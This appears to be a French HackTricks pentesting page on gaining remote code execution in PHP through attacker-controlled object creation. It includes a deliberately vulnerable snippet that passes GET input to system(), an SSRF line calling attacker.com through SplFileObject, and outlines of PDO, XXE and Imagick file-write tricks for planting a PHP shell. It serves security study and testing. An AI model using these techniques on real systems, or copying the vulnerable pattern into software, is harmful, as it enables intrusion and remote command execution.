hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
2023-06-03 13:10:46 +00:00

9.8 KiB

PHP - RCE en abusant de la création d'objet : new $_GET["a"]($_GET["b"])

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Introduction

Dans la situation où vous pouvez créer un nouvel objet arbitraire comme new $_GET["a"]($_GET["a"]), vous pourriez être en mesure d'obtenir une RCE, et cet article expose différentes façons d'obtenir une RCE.

RCE via des classes personnalisées ou l'autoloading

Dans la construction new $a($b), la variable $a représente le nom de la classe pour laquelle l'objet sera créé, et la variable $b représente le premier argument qui sera passé au constructeur de l'objet.

Si $a et $b proviennent de GET/POST, ils peuvent être des chaînes de caractères ou des tableaux de chaînes de caractères. S'ils proviennent de JSON ou d'ailleurs, ils peuvent avoir d'autres types, tels que des objets ou des booléens.

Considérons l'exemple suivant :

class App {
    function __construct ($cmd) {
        system($cmd);
    }
}

# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
class App2 {
    function App2 ($cmd) {
        system($cmd);
    }
}

# Vulnerable code
$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Dans ce code, vous pouvez définir $a sur App ou App2 et $b sur uname -a. Après cela, la commande uname -a sera exécutée.

Lorsqu'il n'y a pas de classes exploitables dans votre application, ou que la classe nécessaire se trouve dans un fichier séparé qui n'est pas inclus par le code vulnérable, vous pouvez jeter un coup d'œil aux fonctions d'autoload.

Les fonctions d'autoload sont définies en enregistrant des rappels via spl_autoload_register ou en définissant __autoload. Elles sont appelées lorsqu'une instance d'une classe inconnue est en train d'être créée.

# An example of an autoloading function
spl_autoload_register(function ($class_name) {
        include './../classes/' . $class_name . '.php';
});

# An example of an autoloading function, works only in PHP < 8.0
function __autoload($class_name) {
        include $class_name . '.php';
};

# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();

Selon la version de PHP et le code dans les fonctions d'autoloading, il peut exister des moyens d'obtenir une exécution de code à distance via l'autoloading.

RCE via les classes intégrées

Lorsque vous n'avez pas de classes personnalisées et d'autoloading, vous pouvez vous fier uniquement aux classes PHP intégrées.

Il existe de 100 à 200 classes PHP intégrées. Le nombre d'entre elles dépend de la version de PHP et des extensions installées. Toutes les classes intégrées peuvent être répertoriées via la fonction get_declared_classes, ainsi que les classes personnalisées :

var_dump(get_declared_classes());

Des classes avec des constructeurs utiles peuvent être trouvées via l'API de réflexion.

Affichage des constructeurs et de leurs paramètres en utilisant l'API de réflexion: https://3v4l.org/2JEGF\

Si vous contrôlez plusieurs paramètres de constructeur et pouvez appeler des méthodes arbitraires par la suite, il existe de nombreuses façons d'obtenir une exécution de code à distance. Mais si vous ne pouvez passer qu'un seul paramètre et n'avez aucun appel à l'objet créé, il n'y a presque rien.

Je connais seulement trois façons d'obtenir quelque chose de new $a($b).

SSRF + désérialisation Phar

La classe SplFileObject implémente un constructeur qui permet la connexion à n'importe quelle URL locale ou distante:

new SplFileObject('http://attacker.com/');

Cela permet SSRF. De plus, les SSRF en PHP < 8.0 peuvent être transformées en désérialisations via des techniques avec le protocole Phar.

Exploitation de PDOs

La classe PDO a un autre constructeur intéressant :

new PDO("sqlite:/tmp/test.txt")

Le constructeur PDO accepte des chaînes DSN, ce qui nous permet de se connecter à n'importe quelle base de données locale ou distante en utilisant les extensions de base de données installées. Par exemple, l'extension SQLite peut créer des fichiers vides.

SoapClient/SimpleXMLElement XXE

Dans PHP ≤ 5.3.22 et ≤ 5.4.12, le constructeur de SoapClient était vulnérable à XXE. Le constructeur de SimpleXMLElement était également vulnérable à XXE, mais il nécessitait libxml2 < 2.9.

RCE via l'extension Imagick

En vérifiant les dépendances du projet que vous essayez d'exploiter, vous pouvez trouver des nouvelles classes qui pourraient être abusées pour exécuter des commandes en créant un nouvel objet. Dans ce cas, Imagick s'est avéré utile à cette fin.

Analyseur VID

L'analyseur VID permet d'écrire un contenu arbitraire dans un chemin arbitraire à l'intérieur du système de fichiers, ce qui permettrait à un attaquant d'écrire un PHPshell dans un dossier accessible depuis la page web et d'obtenir une RCE.

Analyseur VID + Téléchargement de fichiers

Lorsqu'un fichier est téléchargé sur PHP, il est temporairement stocké dans /tmp/phpXXXXXX. L'analyseur VID d'Imagick avec le protocole msl permet de spécifier des caractères génériques dans les chemins de fichiers (de sorte que le fichier téléchargé temporaire peut être facilement accessible) et de le copier dans n'importe quel emplacement arbitraire.
C'est une autre façon d'obtenir l'écriture de fichiers arbitraires dans le système de fichiers :

Plantage PHP + Brute Force

Le writeup original expliquait une autre façon d'obtenir une RCE en téléchargeant des fichiers avec un contenu spécifique et en faisant planter le serveur avant qu'il ne supprime ce fichier, puis en bruteforçant le nom du fichier temporaire jusqu'à ce qu'Imagick exécute du code PHP arbitraire.

Cependant, apparemment, le truc du plantage découvert ne fonctionnait que dans une ancienne version d'ImageMagick.

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥